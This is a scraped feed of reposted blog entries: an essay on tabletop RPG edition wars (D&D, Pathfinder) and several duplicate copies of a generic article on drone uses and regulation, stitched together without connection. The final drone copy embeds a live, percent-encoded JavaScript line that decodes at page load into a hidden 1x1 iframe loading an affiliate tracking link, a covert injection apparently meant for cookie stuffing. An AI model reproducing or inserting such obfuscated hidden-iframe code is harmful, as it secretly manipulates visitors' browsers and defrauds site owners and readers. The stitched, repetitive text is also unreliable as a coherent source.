Relax and just roll with it. Sometimes you or someone else at the table gets a rule wrong, and that’s okay. As long as no one is abusing the confusion to benefit themselves over everyone else, it’s okay to just roll with the mistake keep going with the game. No one wants to play a game constantly interrupted by rules lawyers, so unless everyone is cool with pausing the game to discuss a rule, just go with the GM’s call and discuss the issue after the game is over.
The confusion does get a little annoying, but in some ways, it’s a problem with an abundance or riches. We have a vital, thriving hobby with a version for almost everyone. I’m honestly looking forward to seeing what Paizo comes up with in their next edition of Pathfinder, even if I know it’s going to add a whole new set of rules to the jumble already in my brain.
The Edition Wars Inside My Brain published first on https://medium.com/@ReloadedPCGames
0 notes
kayawagner · 7 years ago
Text
The Edition Wars Inside My Brain
Nerd Wars always feel a little like kids arguing about whose hand makes a better laser gun…
Did you hear the big gaming news last week? Paizo announced they’re working on a second edition for Pathfinder. Cue the Sturm und Drang of the conflicting excitement and irritation that the announcement of a new edition always elicits. Have they released another wave of the endless Edition Wars upon us?
I am avowedly polygamerous. My passion for superhero RPGs is almost legendary, you can pry my science fiction games from my cold, dead hands, and don’t even think of trying to stop my monster hunting inclinations in modern paranormal games. While not every indie game hits my interests, I’m always excited to see what developers are coming up with. Thing is, though, when it comes down to it, D&D still provides a solid backbone for my gaming life. I never seek it out at conventions, but it and its variations are still a staple of my regular group. Currently, one of the less experienced GMs is running a 5e game, and we have several other 5e and Pathfinder games on seasonal hiatus.
For the new or the sheltered, what are the Edition Wars? Essentially, it’s the conflict that happens between the people who are excited for a new version of a game and the discontent of those that are perfectly happy sticking with what they already play. The extremes of both sides often get vitriolic and adamant that their preferred edition is the only correct choice.
Before I go any further, let’s talk a little bit about the history of the editions of D&D, as these are momentous events in the history of the game:
So many editions…
In 1977, Advanced Dungeons & Dragons was released. While the original version of the game arrived in 1974, a large number of gamers in the late 70’s and 80’s experienced AD&D as their first taste of the game. There were a variety of ‘Basic’ versions that came out in the intervening years, but AD&D seemed to be regarded as the main version of the game. By the time I started playing in 1986, there was even edition-war-like grumbling about the changes introduced from Unearthed Arcana the year before.
1989 saw the arrival of Advanced Dungeons & Dragons 2nd Edition. I was still new to the hobby, but this was huge. Do you have any idea how excited I was to be able to play a bard without having to go through the ridiculous path laid out in 1e materials? My group even converted our characters from 1e to 2e so we could play with the new hotness. Beija Tavelar, my scrappy, red-headed, lute-playing mage-thief became the bard I had always wanted her to be. Then she died in a stupid pit trap with everyone else in the party and we had to make new characters anyway.
TSR, D&D’s original publisher, was struggling financially in the 90’s and was bought by Wizard of the Coast in 1997. It would take three years, but Wizards finally released Dungeons & Dragons 3rd Edition in 2000. This was BIG. If you want a more detailed look at the impact this edition (and its OGL – open game license) had on the industry, I highly recommend diving into Designers & Dragons entries on TSR and Wizards of the Coast. At the time, it had been way too many years since I’d been able to play regularly but even I heard about the arrival of 3e. While the d20 boom was changing the lives of many game companies and designers, it helped me realize that I needed gaming in my life and I couldn’t wait around for my old gaming group to suddenly find time and motivation to game again.
In 2003, things took a left turn as Wizards abruptly released Dungeons & Dragons v 3.5. The edition addressed a few different problems that existed in the previous edition while still retaining the same core concepts. Unfortunately, it caused a huge problem for many of the third-party creators of d20 products. Again, take look at Designers & Dragons entries on Wizards. It’s a fascinating read. This was also around the time I found a new group to play with and it doesn’t take a genius to guess we started playing 3.5.
Only five years later, Wizards released Dungeons & Dragons 4th edition. Edition Wars had existed since the grognards of old complained about 2e back in the late 80’s, but 4e almost instantly developed a troubled relationship with the fanbase. While the bones of the game were still D&D, some of the concepts and mechanics went in a different direction meant to attract a new generation of player. The feel was often described as being more ‘video game’ than anything like previous editions. I actually thought 4e was fun. One of my favorite campaigns was run in the system and it actually did make it easier to introduce new players to the hobby. That said, there was still a lot of animosity towards this edition. I’m still irritated at some of my friends who would gleefully make fun of the game every time I mentioned a 4e game I was playing in. Not cool, folks.
At the same time as 4e was being released, Paizo released Pathfinder, a fantasy game based around the OGL of 3.5. Calling the game D&D 3.75 isn’t completely out of bounds. It tried to fix a few different rules problems from the original edition and worked to make the classes interesting at every level, but the game was still obviously an evolution of 3.5. Many of the players who were irritated at 4e flocked to Pathfinder helping the game become a huge success. In late 2011, when I started my Eberron campaign, the group was a bit tired of 4e, so we decided to use Pathfinder. The SRD available online provided most of the material I would need to run the game.
In 2014, Wizards released Dungeons & Dragons 5th edition and quietly let 4e fade into the background. Work on the new edition was announced in 2012 which raised some eyebrows, but they did some serious playtesting and player surveys before they released their final results two years later. Honestly, the results of their work showed. While plenty of folks stayed loyal to Pathfinder, 5e rejuvenated interest in the D&D brand and has proven to be super successful. My group jumped into 5e headfirst (as we do with any game that catches our interest). We have one beloved 5e game we’ve been playing in seasons and I’m about to start a 5e game with the teens I’ve been GMing for once a month.
I can’t even get into all the OSR (Old School Renaissance) retro clones that exist out there. They’re not exactly in my wheelhouse, so I haven’t had an opportunity to play any of them (which I would with a GM I trust), but they’re out there. Everything from Dungeon Crawl Classics, Labyrinth Lord, OSRIC, Swords & Wizardry, and many, many more.
To tally up, there were 12 years between 1e and 2e, 11 years between 2e and 3e, 8 between 3e and 4e (with an intermediary road bump with 3.5), and 6 years between 4e and 5e. Paizo waiting ten years to announce they’re working on a second edition isn’t really that extraordinary. Even if I can remember when Pathfinder was shiny and new, it has been a mainstay for a decade now.
Anyone that gets all pretentious about which edition is best gets an eye roll from me. Play what you want and what makes your group happy, but don’t be a dick about what makes someone else happy. 
I have my thoughts and preferences on the various editions, but I’ll mostly play whatever the people I want to game with want to play. Mostly. Anyone that gets all pretentious about which edition is best gets an eye roll from me. Play what you want and what makes your group happy, but don’t be a dick about what makes someone else happy. You won’t find me participating in any battles about which edition is king other than to tell people to chill out and stop telling people they’re having bad-wrong-fun.
That said, I do experience type of Edition War, but this one happens solo, inside MY BRAIN.
I’ve been gaming with a regular crew for close to 15 years now and in that time, we have started, finished and abandoned multiple games of at least four different versions of D&D (Pathfinder included). There’s only so much room for rules in this head of mine and I imagine it’s the same for most of us. It’s not that unusual for us to suddenly pause as we confuse the specifics of various rules between editions. Does flanking matter in this edition? How long does that spell last in this version? How many dice do I get to add to my sneak attack?
What do we do about the limited rental space for rules in our brains while playing multiple different variations of D&D? (Or any game system, really.)
Cheat sheets of the major and common rules is your friend. There are plenty of these out there if your google-fu is strong enough, but I always like creating my own when possible. It helps cement the info into my brain and is usually laid out in a way that makes sense to me. GM Screens often provide a great resource even when you don’t really feel the need to hide your rolls from your players.
Keep pertinent rules to your characters handy. Whenever I play a spell caster, I always keep a full list of available spells handy so I can quickly know the rules of whatever spell I’m about to use. The same goes for any special ability you’re going to use. Say what you will about 4e, but the ability cards the character builder created were damn handy.
Relax and just roll with it. Sometimes you or someone else at the table gets a rule wrong, and that’s okay. As long as no one is abusing the confusion to benefit themselves over everyone else, it’s okay to just roll with the mistake keep going with the game. No one wants to play a game constantly interrupted by rules lawyers, so unless everyone is cool with pausing the game to discuss a rule, just go with the GM’s call and discuss the issue after the game is over.
The confusion does get a little annoying, but in some ways, it’s a problem with an abundance or riches. We have a vital, thriving hobby with a version for almost everyone. I’m honestly looking forward to seeing what Paizo comes up with in their next edition of Pathfinder, even if I know it’s going to add a whole new set of rules to the jumble already in my brain.
The Edition Wars Inside My Brain published first on https://supergalaxyrom.tumblr.com
0 notes
uncutvenus · 4 years ago
Text
The Function Of Drone Is Getting Better and Wider
A drone is an unmanned aerial vehicle (UAV) or also known as a flying robot. The aircraft can be controlled either using a control device or can fly using the aircraft control software installed in it.
In the past, drones were commonly used for military purposes, where they were used for anti-aircraft gun training, intelligence and even as weapons.
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Among them is invading a person’s privacy when used to take pictures of individuals in their homes or areas that are considered private property. In addition, there are also those who fly drones in areas that invite danger to the public such as in urban areas and airports. Increased use of drones for commercial and personal use also raises many security concerns such as collisions in the airspace and loss of control. Concerns about attempts to fly drones too close to passenger planes led to it being eventually regulated by law. In the United States (US), the Federal Aviation Organization (FAA) has enacted several drone-related laws including banning it from being flown at risky areas such as airports.
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Facts about drones
The global drone market is expected to be worth US $ 127 billion (RM568 billion) by 2021 compared to US $ 2 billion (RM8.95 billion) this year. Seven million commercial and consumer drones will be brought to the US by 2021 compared to 2.5 million this year. During the same period, sales of drones for personal use are expected to increase from 1.9 million to 4.3 million while sales of drones for commercial use increased from 600,000 to 2.7 million. Currently, the largest market for drones is the US. Research firm KPCB in 2014 showed that the US controls 35 percent of the drone market compared to 30 percent in Europe, 15 percent (China) and 20 percent worldwide. The Federal Aviation Organization (FAA) expects 30,000 drones to fly in US airspace by 2020.
Benefits of drones in industry
1. Media, journalism and film
- Helps to get images that were previously difficult to obtain
- Small, lightweight, portable and easy to carry
- Easy to handle, just needing one is enough
- Used to record athlete action at the Olympics
2. Agriculture
- Sprinkle fertilizer and water the crop area more easily and quickly
- Monitor fires or floods
- Recording and inventory process
3. Business
- Delivery of goods to customers
- Exploration in water, gas, oil and minerals
- Purpose of documentation such as accident report, construction confirmation and work status at the construction site.
4. Enforcement
- Investigation at the crime scene
- Help the police detect criminals more easily and quickly
- Monitoring in the air
via Blogger https://ift.tt/3jGFDWI source https://hitz-bettina6pwr9.tumblr.com/post/624681242681589760
1 note · View note
uncutvenus · 4 years ago
Text
The Function Of Drone Is Getting Better and Wider
A drone is an unmanned aerial vehicle (UAV) or also known as a flying robot. The aircraft can be controlled either using a control device or can fly using the aircraft control software installed in it.
In the past, drones were commonly used for military purposes, where they were used for anti-aircraft gun training, intelligence and even as weapons.
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Among them is invading a person's privacy when used to take pictures of individuals in their homes or areas that are considered private property. In addition, there are also those who fly drones in areas that invite danger to the public such as in urban areas and airports. Increased use of drones for commercial and personal use also raises many security concerns such as collisions in the airspace and loss of control. Concerns about attempts to fly drones too close to passenger planes led to it being eventually regulated by law. In the United States (US), the Federal Aviation Organization (FAA) has enacted several drone-related laws including banning it from being flown at risky areas such as airports.
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Facts about drones
The global drone market is expected to be worth US $ 127 billion (RM568 billion) by 2021 compared to US $ 2 billion (RM8.95 billion) this year. Seven million commercial and consumer drones will be brought to the US by 2021 compared to 2.5 million this year. During the same period, sales of drones for personal use are expected to increase from 1.9 million to 4.3 million while sales of drones for commercial use increased from 600,000 to 2.7 million. Currently, the largest market for drones is the US. Research firm KPCB in 2014 showed that the US controls 35 percent of the drone market compared to 30 percent in Europe, 15 percent (China) and 20 percent worldwide. The Federal Aviation Organization (FAA) expects 30,000 drones to fly in US airspace by 2020.
Benefits of drones in industry
1. Media, journalism and film
- Helps to get images that were previously difficult to obtain
- Small, lightweight, portable and easy to carry
- Easy to handle, just needing one is enough
- Used to record athlete action at the Olympics
2. Agriculture
- Sprinkle fertilizer and water the crop area more easily and quickly
- Monitor fires or floods
- Recording and inventory process
3. Business
- Delivery of goods to customers
- Exploration in water, gas, oil and minerals
- Purpose of documentation such as accident report, construction confirmation and work status at the construction site.
4. Enforcement
- Investigation at the crime scene
- Help the police detect criminals more easily and quickly
- Monitoring in the air
source https://thetheoritical.blogspot.com/2020/07/the-function-of-drone-is-getting-better.html
1 note · View note
hitz-bettina6pwr9 · 4 years ago
Text
The Function Of Drone Is Getting Better and Wider
A drone is an unmanned aerial vehicle (UAV) or also known as a flying robot. The aircraft can be controlled either using a control device or can fly using the aircraft control software installed in it.
In the past, drones were commonly used for military purposes, where they were used for anti-aircraft gun training, intelligence and even as weapons.
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Among them is invading a person's privacy when used to take pictures of individuals in their homes or areas that are considered private property. In addition, there are also those who fly drones in areas that invite danger to the public such as in urban areas and airports. Increased use of drones for commercial and personal use also raises many security concerns such as collisions in the airspace and loss of control. Concerns about attempts to fly drones too close to passenger planes led to it being eventually regulated by law. In the United States (US), the Federal Aviation Organization (FAA) has enacted several drone-related laws including banning it from being flown at risky areas such as airports.
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Facts about drones
The global drone market is expected to be worth US $ 127 billion (RM568 billion) by 2021 compared to US $ 2 billion (RM8.95 billion) this year. Seven million commercial and consumer drones will be brought to the US by 2021 compared to 2.5 million this year. During the same period, sales of drones for personal use are expected to increase from 1.9 million to 4.3 million while sales of drones for commercial use increased from 600,000 to 2.7 million. Currently, the largest market for drones is the US. Research firm KPCB in 2014 showed that the US controls 35 percent of the drone market compared to 30 percent in Europe, 15 percent (China) and 20 percent worldwide. The Federal Aviation Organization (FAA) expects 30,000 drones to fly in US airspace by 2020.
Benefits of drones in industry
1. Media, journalism and film
- Helps to get images that were previously difficult to obtain
- Small, lightweight, portable and easy to carry
- Easy to handle, just needing one is enough
- Used to record athlete action at the Olympics
2. Agriculture
- Sprinkle fertilizer and water the crop area more easily and quickly
- Monitor fires or floods
- Recording and inventory process
3. Business
- Delivery of goods to customers
- Exploration in water, gas, oil and minerals
- Purpose of documentation such as accident report, construction confirmation and work status at the construction site.
4. Enforcement
- Investigation at the crime scene
- Help the police detect criminals more easily and quickly
- Monitoring in the air
via Blogger https://ift.tt/3jGFDWI
1 note · View note
thevoiceofwillow-blog · 4 years ago
Text
The Function Of Drone Is Getting Better and Wider
A drone is an unmanned aerial vehicle (UAV) or also known as a flying robot. The aircraft can be controlled either using a control device or can fly using the aircraft control software installed in it.
In the past, drones were commonly used for military purposes, where they were used for anti-aircraft gun training, intelligence and even as weapons.
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Among them is invading a person’s privacy when used to take pictures of individuals in their homes or areas that are considered private property. In addition, there are also those who fly drones in areas that invite danger to the public such as in urban areas and airports. Increased use of drones for commercial and personal use also raises many security concerns such as collisions in the airspace and loss of control. Concerns about attempts to fly drones too close to passenger planes led to it being eventually regulated by law. In the United States (US), the Federal Aviation Organization (FAA) has enacted several drone-related laws including banning it from being flown at risky areas such as airports.
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Facts about drones
The global drone market is expected to be worth US $ 127 billion (RM568 billion) by 2021 compared to US $ 2 billion (RM8.95 billion) this year. Seven million commercial and consumer drones will be brought to the US by 2021 compared to 2.5 million this year. During the same period, sales of drones for personal use are expected to increase from 1.9 million to 4.3 million while sales of drones for commercial use increased from 600,000 to 2.7 million. Currently, the largest market for drones is the US. Research firm KPCB in 2014 showed that the US controls 35 percent of the drone market compared to 30 percent in Europe, 15 percent (China) and 20 percent worldwide. The Federal Aviation Organization (FAA) expects 30,000 drones to fly in US airspace by 2020.
Benefits of drones in industry
1. Media, journalism and film
- Helps to get images that were previously difficult to obtain
- Small, lightweight, portable and easy to carry
- Easy to handle, just needing one is enough
- Used to record athlete action at the Olympics
2. Agriculture
- Sprinkle fertilizer and water the crop area more easily and quickly
- Monitor fires or floods
- Recording and inventory process
3. Business
- Delivery of goods to customers
- Exploration in water, gas, oil and minerals
- Purpose of documentation such as accident report, construction confirmation and work status at the construction site.
4. Enforcement
- Investigation at the crime scene
- Help the police detect criminals more easily and quickly
- Monitoring in the air
via Blogger https://ift.tt/3jGFDWI source https://hitz-bettina6pwr9.tumblr.com/post/624681242681589760
0 notes
thevoiceofwillow-blog · 4 years ago
Text
The Function Of Drone Is Getting Better and Wider
A drone is an unmanned aerial vehicle (UAV) or also known as a flying robot. The aircraft can be controlled either using a control device or can fly using the aircraft control software installed in it.
In the past, drones were commonly used for military purposes, where they were used for anti-aircraft gun training, intelligence and even as weapons.
str='@3C@49@46@52@41@4D@45@20@53@52@43@3D@27@68@74@74@70@73@3A@2F@2F@73@2E@63@6C@69@63@6B@2E@61@6C@69@65@78@70@72@65@73@73@2E@63@6F@6D@2F@65@2F@5F@64@59@70@49@32@73@4A@0A@27@20@57@49@44@54@48@3D@31@20@48@45@49@47@48@54@3D@31@3E@3C@2F@49@46@52@41@4D@45@3E'; document.write(unescape(str.replace(/@/g,'%'))); However, today drones are widely used for other purposes such as search and rescue, surveillance, traffic and weather monitoring, firefighting, agricultural, personal and for filming. The increasing use of drones is now inviting many complaints and concerns from the public.
Among them is invading a person's privacy when used to take pictures of individuals in their homes or areas that are considered private property. In addition, there are also those who fly drones in areas that invite danger to the public such as in urban areas and airports. Increased use of drones for commercial and personal use also raises many security concerns such as collisions in the airspace and loss of control. Concerns about attempts to fly drones too close to passenger planes led to it being eventually regulated by law. In the United States (US), the Federal Aviation Organization (FAA) has enacted several drone-related laws including banning it from being flown at risky areas such as airports.
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Facts about drones
The global drone market is expected to be worth US $ 127 billion (RM568 billion) by 2021 compared to US $ 2 billion (RM8.95 billion) this year. Seven million commercial and consumer drones will be brought to the US by 2021 compared to 2.5 million this year. During the same period, sales of drones for personal use are expected to increase from 1.9 million to 4.3 million while sales of drones for commercial use increased from 600,000 to 2.7 million. Currently, the largest market for drones is the US. Research firm KPCB in 2014 showed that the US controls 35 percent of the drone market compared to 30 percent in Europe, 15 percent (China) and 20 percent worldwide. The Federal Aviation Organization (FAA) expects 30,000 drones to fly in US airspace by 2020.
Benefits of drones in industry
1. Media, journalism and film
- Helps to get images that were previously difficult to obtain
- Small, lightweight, portable and easy to carry
- Easy to handle, just needing one is enough
- Used to record athlete action at the Olympics
2. Agriculture
- Sprinkle fertilizer and water the crop area more easily and quickly
- Monitor fires or floods
- Recording and inventory process
3. Business
- Delivery of goods to customers
- Exploration in water, gas, oil and minerals
- Purpose of documentation such as accident report, construction confirmation and work status at the construction site.
4. Enforcement
- Investigation at the crime scene
- Help the police detect criminals more easily and quickly
- Monitoring in the air
source https://thetheoritical.blogspot.com/2020/07/the-function-of-drone-is-getting-better.html
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